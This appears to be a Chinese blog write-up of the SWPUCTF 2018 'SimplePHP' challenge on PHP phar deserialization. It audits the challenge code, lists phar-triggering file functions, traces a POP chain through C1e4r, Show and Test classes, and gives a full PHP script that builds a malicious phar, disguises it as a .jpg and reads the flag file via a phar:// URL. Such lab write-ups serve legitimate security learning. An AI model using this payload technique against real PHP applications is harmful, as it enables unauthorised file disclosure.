phar反序列化例題二

eth258發表於2024-08-09

phar反序列化例題二

[SWPUCTF 2018]SimplePHP 1

檔案下載

url處發現檔案可下載,此處不貼出來了,不佔太多篇幅

程式碼審計

class.php處提示phar反序列化,base.php提示flag在f1ag.php

然後開始捋關係

index.php

index.php包含了base.php(寫有檔案上傳、檢視的頁面)。

base.php

base.php可以到upload_file.php、file.php

upload_file.php

使用了function.php中的函式,並提供了一個提交表單

function.php

接收上傳的檔案->檢查檔案型別、生成檔名、移動檔案到指定位置

file.php

是個檢視檔案的地方,設定了目錄為/var/www/html/,檢查檔案是否存在,然後呼叫class.php中方法列印檔案內容

尋找pop鏈

phar反序列化觸發函式

fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

從file.php中可以看到存在觸發phar反序列化的file_exists

class.php

這裡可以利用到echo輸出,是反序列化的入點

class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

同時可以利用到Show類中的__toString()

    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }

但是後面的鏈該怎麼連?於是就打算從末端開始看,很顯然這裡的file_get_contents是函式的最終點。從這裡開始往上倒推。

    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)//連鎖觸發的開端
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)//最終點
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

從上面的Test類中可以看到一連串的觸發是透過__get來實現的,即__toString下一步該觸發的是__get才能完成一個pop鏈

payload

<?php

class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array('source'=>'/var/www/html/f1ag.php');
    }//也可以寫成params[source]='/var/www/html/f1ag.php',這裡的路徑從file.php中可以看到

}
$c = new C1e4r();
$s=new Show();
$t =new Test();
$s->source=$s;
$s->str['str']=$t;
$c->str=$s;


$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c); //觸發的頭是C1e4r類,所以傳入C1e4r物件
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();

?>

生成的phar修改為jpg,還要計算圖片的名字,或者訪問upload目錄(這.....)

  $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 

到檢視檔案的目錄下

buuoj.cn:81/file.php?file=phar://upload/d98ab935563b1ea861964510390e889e.jpg

相關文章